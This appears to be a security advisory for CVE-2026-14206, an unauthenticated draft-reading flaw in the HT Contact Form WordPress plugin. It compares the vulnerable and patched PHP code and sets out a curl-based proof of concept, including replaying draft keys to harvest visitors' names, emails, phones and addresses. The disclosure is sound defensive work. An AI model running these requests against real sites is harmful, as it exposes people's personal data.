- Product
- HT Contact Form (WordPress plugin)
- Versions
- Before 2.9.3 · fixed in 2.9.3
- Severity
- LowCVSS score 3.7 · WPScan
- CVE
- CVE-2026-14206, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on August 10, 2026
Description
The HT Contact Form WordPress plugin before 2.9.3 does not perform any authorization check on the endpoint that returns a saved form draft, allowing unauthenticated users to read the personal data (name, email, phone, address) stored in form drafts.
From the CVE record · CWE-200 Information Exposure
Technical analysis
In 2.9.2, get_draft() reads the draft key from the request, looks the draft up with find_by_key() and returns its form_id and the stored form_data. The callback performs no nonce, capability or ownership check, so anyone who supplies a valid draft key receives the saved form contents.
public function get_draft($request) {
$draft_key = $request->get_param('key');
$draft = $this->drafts->find_by_key($draft_key);
if (is_wp_error($draft)) {
return $draft;
}
return new WP_REST_Response([
'success' => true,
'form_id' => $draft->form_id,
'form_data' => $draft->form_data,
], 200);
}
2.9.3 reads a per draft access token from the 'token' parameter and returns a 403 'forbidden' error unless verify_access_token() accepts it for the loaded draft.
$draft_key = $request->get_param('key');
$access_token = $request->get_param('token');
$draft = $this->drafts->find_by_key($draft_key);
if (is_wp_error($draft)) {
return $draft;
}
// Authorize by per-draft access token (ownership check). Prevents
// harvesting another visitor's saved PII by replaying a draft key.
if (!$this->drafts->verify_access_token($draft, $access_token)) {
return new WP_Error(
'forbidden',
__('You are not authorized to access this draft.', 'ht-contactform'),
['status' => 403]
);
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on August 6, 2026.
Prerequisites
1. As an administrator, create a form in HT Contact Form and publish a page containing its shortcode, for example [ht_form id="3"].
2. The Save and Resume (draft) feature is in use on that form, so visitors save their progress before submitting.
Steps
1. As an unauthenticated visitor, request the public form page and read the guest REST nonce the plugin localises into it:
curl -s "https://victim.example/contact/" | grep -o '"rest_nonce":"[^"]*"'
2. A visitor saves their form progress. This stores their personal data and returns the draft key:
curl -s -X POST "https://victim.example/wp-json/ht-form/v1/draft/save" \
-H "Content-Type: application/json" \
-H "X-WP-Nonce: GUEST_REST_NONCE" \
--data '{"form_id":3,"form_data":{"name":"Jane Victim","email":"[email protected]","phone":"+1-555-0142","address":"42 Private Lane"}}'
Response: {"success":true,"draft_key":"af8ec330-4c3b-4369-a46f-8a741b5aa854","resume_url":"...","expires_at":"..."}
3. Read that draft with no nonce, no access token and no cookies:
curl -s "https://victim.example/wp-json/ht-form/v1/draft/af8ec330-4c3b-4369-a46f-8a741b5aa854"
Expected result: HTTP 200 and the visitor's stored personal data,
{"success":true,"form_id":"3","form_data":{"name":"Jane Victim","email":"[email protected]","phone":"+1-555-0142","address":"42 Private Lane"}}
4. The key needed in step 3 is itself obtainable without authentication: drafts are looked up and overwritten by form id with no owner binding, so repeating step 2 as any other visitor returns the existing draft key, which is then replayed against step 3 to read each visitor's saved data.Severity
WPScan rates it 3.7 (low). CISA’s ADP scores it 7.5 (high) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NCISA ADP
Remediation
Update HT Contact Form to 2.9.3 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3608212).
- Version 2.9.3 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.